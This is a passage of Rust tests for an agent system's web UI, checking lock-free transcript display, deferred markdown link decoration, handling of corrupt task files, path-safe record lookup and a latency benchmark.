27996        let home = tempfile::tempdir().unwrap();
27997        let ui = delta_test_ui(home.path());
27998        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
27999        let directory = home.path().join("workers/jobs/abcdef");
28000        std::fs::create_dir_all(&directory).unwrap();
28001        let job = crate::worker::Job {
28002            id: "abcdef".into(),
28003            sequence: 1,
28004            kind: "chat".into(),
28005            key: id.clone(),
28006            payload: serde_json::json!({ "talk": id }),
28007            generation: "test".into(),
28008            version: None,
28009            status: crate::worker::Status::Running,
28010            result: None,
28011            pid: None,
28012            created_at: 0,
28013            finished_at: None,
28014        };
28015        std::fs::write(
28016            directory.join("job.json"),
28017            serde_json::to_vec(&job).unwrap(),
28018        )
28019        .unwrap();
28020        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
28021        let store =
28022            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
28023        let runtime = tokio::runtime::Builder::new_current_thread()
28024            .enable_all()
28025            .max_blocking_threads(1)
28026            .build()
28027            .unwrap();
28028        runtime.block_on(async {
28029            let (release, held) = std::sync::mpsc::channel();
28030            let (started, ready) = tokio::sync::oneshot::channel();
28031            let occupied = tokio::task::spawn_blocking(move || {
28032                started.send(()).unwrap();
28033                held.recv().unwrap();
28034            });
28035            ready.await.unwrap();
28036            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
28037            let bulk = ui
28038                .monitor
28039                .bulk_slots
28040                .clone()
28041                .acquire_many_owned(2)
28042                .await
28043                .unwrap();
28044            let result = tokio::time::timeout(
28045                Duration::from_secs(2),
28046                talk_core(State(ui.clone()), Path(id.clone())),
28047            )
28048            .await;
28049            // Release all blockers before assertions, including on a regression.
28050            drop(store);
28051            drop(bulk);
28052            release.send(()).unwrap();
28053            occupied.await.unwrap();
28054            let _ = secondary.await.unwrap().unwrap();
28055            let Json(core) = result
28056                .expect("transcript must bypass secondary work and the worker store lock")
28057                .unwrap();
28058            assert!(
28059                core.thinking,
28060                "read-only observation retains live worker state"
28061            );
28062            assert_eq!(core.talk.id, id);
28063            let admission_ui = ui.clone();
28064            let (release, held) = std::sync::mpsc::channel();
28065            let (started, ready) = tokio::sync::oneshot::channel();
28066            let admission = std::thread::spawn(move || {
28067                let _lock = admission_ui.talk_turns.lock().unwrap();
28068                started.send(()).unwrap();
28069                held.recv().unwrap();
28070            });
28071            ready.await.unwrap();
28072            let result = tokio::time::timeout(
28073                Duration::from_secs(2),
28074                talk_core(State(ui.clone()), Path(id.clone())),
28075            )
28076            .await;
28077            release.send(()).unwrap();
28078            admission.join().unwrap();
28079            assert!(
28080                result
28081                    .expect("display must not wait behind local admission")
28082                    .unwrap()
28083                    .0
28084                    .thinking
28085            );
28086            assert!(ui.is_thinking(&id));
28087            assert!(ui.is_thinking_observed(&id));
28088            drop(live);
28089            assert!(
28090                !ui.is_thinking_observed(&id),
28091                "a finished lease no longer appears live"
28092            );
28093            assert!(!ui.is_thinking(&id));
28094            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
28095            assert!(
28096                ui.is_thinking_observed(&id),
28097                "local admission remains visible"
28098            );
28099        });
28100    }
28101
28102    #[tokio::test]
28103    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
28104        let home = tempfile::tempdir().unwrap();
28105        let ui = delta_test_ui(home.path());
28106        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
28107        let mut task = Task::new(
28108            "Referenced task".into(),
28109            "Unrelated instruction history".repeat(1024),
28110            home.path().into(),
28111            Source::Human,
28112        );
28113        task.id = "20261019-000000-abcd".into();
28114        ui.queue.put(&mut task).unwrap();
28115        let mut conversation = ui.talks.get(&id).unwrap();
28116        conversation.turns.push(talk::Turn {
28117            sender: Some(talk::Sender::Persona),
28118            who: talk::Who::Agent,
28119            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
28120            at: conversation.created_at,
28121            attachments: Vec::new(),
28122            usage: None,
28123            breaks: None,
28124            messages: Vec::new(),
28125            posted_by: None,
28126        });
28127        ui.talks.put(&mut conversation).unwrap();
28128
28129        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
28130        let markdown = serde_json::to_value(&core.turn_bodies_md)
28131            .unwrap()
28132            .to_string();
28133        assert!(markdown.contains("\"strong\""));
28134        assert!(markdown.contains("\"table\""));
28135        assert!(markdown.contains("\"bullet_list\""));
28136        assert!(markdown.contains("\"code_block\""));
28137        assert!(!markdown.contains("\"internal_link\""));
28138        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
28139        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
28140        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
28141
28142        // Deferred decoration still resolves the same validated task, without
28143        // touching opaque code blocks or changing the original transcript.
28144        let references = ui.references.for_talk(home.path(), &conversation);
28145        let mut decorated = core.turn_bodies_md[0].clone();
28146        references.markdown(&mut decorated);
28147        let decorated = serde_json::to_value(decorated).unwrap().to_string();
28148        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
28149        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
28150        assert_eq!(
28151            ui.talks.get(&conversation.id).unwrap().turns[0].body,
28152            conversation.turns[0].body
28153        );
28154    }
28155
28156    #[tokio::test]
28157    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
28158        let home = tempfile::tempdir().unwrap();
28159        let ui = delta_test_ui(home.path());
28160        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28161        let mut run = RunState::new(
28162            PathBuf::from("/repo"),
28163            "main".into(),
28164            "01234567".into(),
28165            "Useful run".into(),
28166            Config::default(),
28167        );
28168        run.save_under(home.path()).unwrap();
28169        let mut task = Task::new(
28170            "Related".into(),
28171            "body".into(),
28172            PathBuf::from("/repo"),
28173            Source::Agent {
28174                run: talk_id.clone(),
28175                node: "chat".into(),
28176            },
28177        );
28178        task.runs = vec![run.id.clone()];
28179        ui.queue.put(&mut task).unwrap();
28180        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
28181        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
28182        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
28183        assert!(
28184            run_detail(State(ui.clone()), Path(run.id.clone()))
28185                .await
28186                .is_ok()
28187        );
28188        assert!(
28189            talk_sections(State(ui.clone()), Path(talk_id.clone()))
28190                .await
28191                .is_ok()
28192        );
28193        // Previously indexed corruption must not masquerade as no relationship.
28194        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
28195        assert!(ui.find_task_for_run(&run.id).is_err());
28196        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
28197        ui.queue.put(&mut task).unwrap();
28198        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
28199    }
28200
28201    #[tokio::test]
28202    async fn conversation_sections_omit_large_task_instructions() {
28203        let home = tempfile::tempdir().unwrap();
28204        let ui = delta_test_ui(home.path());
28205        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28206        let mut task = Task::new(
28207            "filed task".into(),
28208            "large instruction ".repeat(65536),
28209            PathBuf::from("/repo"),
28210            Source::Agent {
28211                run: id.clone(),
28212                node: "chat".into(),
28213            },
28214        );
28215        ui.queue.put(&mut task).unwrap();
28216        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
28217        assert_eq!(sections["tasks"][0]["id"], task.id);
28218        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
28219        assert!(sections["tasks"][0].get("instruction").is_none());
28220        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
28221    }
28222
28223    #[test]
28224    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
28225        let home = tempfile::tempdir().unwrap();
28226        let talks = Talks::at(home.path().join("talks"));
28227        seed_talk_at(&talks, "20261019-000001-abcd", "open");
28228        seed_talk_at(&talks, "20261019-000002-abcd", "open");
28229        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
28230        assert!(resolve_talk(&talks, "../outside").is_err());
28231        assert!(resolve_talk(&talks, "abcd").is_err());
28232        assert_eq!(
28233            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
28234            "20261019-000001-abcd"
28235        );
28236    }
28237
28238    include!(concat!(
28239        env!("CARGO_MANIFEST_DIR"),
28240        "/tests/web_latency/baseline.rs"
28241    ));
28242
28243    include!(concat!(
28244        env!("CARGO_MANIFEST_DIR"),
28245        "/tests/web_latency/lists.rs"
28246    ));
28247
28248    #[tokio::test]
28249    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
28250    async fn web_history_latency_measurement() {
28251        use std::time::Instant;
28252        let home = tempfile::tempdir().unwrap();
28253        let ui = delta_test_ui(home.path());
28254        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
28255        let mut template = ui.talks.get(&id).unwrap();
28256        template.turns = serde_json::from_value(serde_json::json!([{
28257            "who": "operator", "body": "Show the accumulated work and its current status.",
28258            "at": Timestamp::now().to_string(),
28259        }]))
28260        .unwrap();
28261        std::fs::write(
28262            ui.talks.path_of(&id),
28263            serde_json::to_vec(&template).unwrap(),
28264        )
28265        .unwrap();
28266        let count = std::env::var("MAGI_BENCH_RECORDS")
28267            .ok()
28268            .and_then(|s| s.parse::<usize>().ok())
28269            .unwrap_or(1000);
28270        for i in 0..count {
28271            template.id = format!("20261019-{i:06}-history");
28272            template.pending = "history ".repeat(2048);
28273            std::fs::write(
28274                ui.talks.path_of(&template.id),
28275                serde_json::to_vec(&template).unwrap(),
28276            )
28277            .unwrap();
28278            let mut task = Task::new(
28279                "old task".into(),
28280                "instruction ".repeat(2048),
28281                PathBuf::from("/repo"),
28282                Source::Human,
28283            );
28284            task.id = format!("20261019-{i:06}-task");
28285            ui.queue.put(&mut task).unwrap();
28286        }
28287        for baseline in [true, false] {
28288            for clients in [1, 4] {
28289                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
28290                let mut samples = Vec::new();
28291                for _ in 0..12 {
28292                    let mut jobs = Vec::new();
28293                    for _ in 0..clients {
28294                        let ui = ui.clone();
28295                        let id = id.clone();
28296                        jobs.push(tokio::spawn(async move {
28297                            let start = Instant::now();
28298                            if baseline {
28299                                let response =
28300                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
28301                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
28302                                return (
28303                                    elapsed,
28304                                    elapsed,
28305                                    serde_json::to_vec(&response).unwrap().len(),
28306                                );
28307                            }
28308                            let core = talk_core(State(ui.clone()), Path(id.clone()));
28309                            let secondary = talk_sections(State(ui), Path(id));
28310                            let (first, total) = tokio::join!(
28311                                async {
28312                                    let value = core.await.unwrap().0;
28313                                    (
28314                                        start.elapsed().as_secs_f64() * 1000.0,
28315                                        serde_json::to_vec(&value).unwrap().len(),
28316                                    )
28317                                },
28318                                async {
28319                                    let value = secondary.await.unwrap().0;
28320                                    (
28321                                        start.elapsed().as_secs_f64() * 1000.0,
28322                                        serde_json::to_vec(&value).unwrap().len(),
28323                                    )
28324                                }
28325                            );
28326                            (first.0, first.0.max(total.0), first.1 + total.1)
28327                        }));
28328                    }
28329                    for job in jobs {
28330                        samples.push(job.await.unwrap());
28331                    }
28332                }
28333                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
28334                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
28335                first.sort_by(f64::total_cmp);
28336                total.sort_by(f64::total_cmp);
28337                let n = first.len();
28338                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
28339                println!(
28340                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
28341                    first[n / 2],
28342                    first[(n * 95 / 100).min(n - 1)],
28343                    total[n / 2],
28344                    total[(n * 95 / 100).min(n - 1)],
28345                    samples[0].2
28346                );
28347            }
28348        }
28349    }
28350
28351    #[test]
28352    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
28353        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
28354        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
28355        assert!(APP_JS.contains("function nextRunRequest(id)"));
28356        assert!(APP_JS.contains("function runShell(id, summary)"));
28357        assert!(APP_JS.contains("function nextTaskRequest(id)"));
28358        assert!(APP_JS.contains("function taskShell(id, summary)"));
28359        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
28360    }
28361}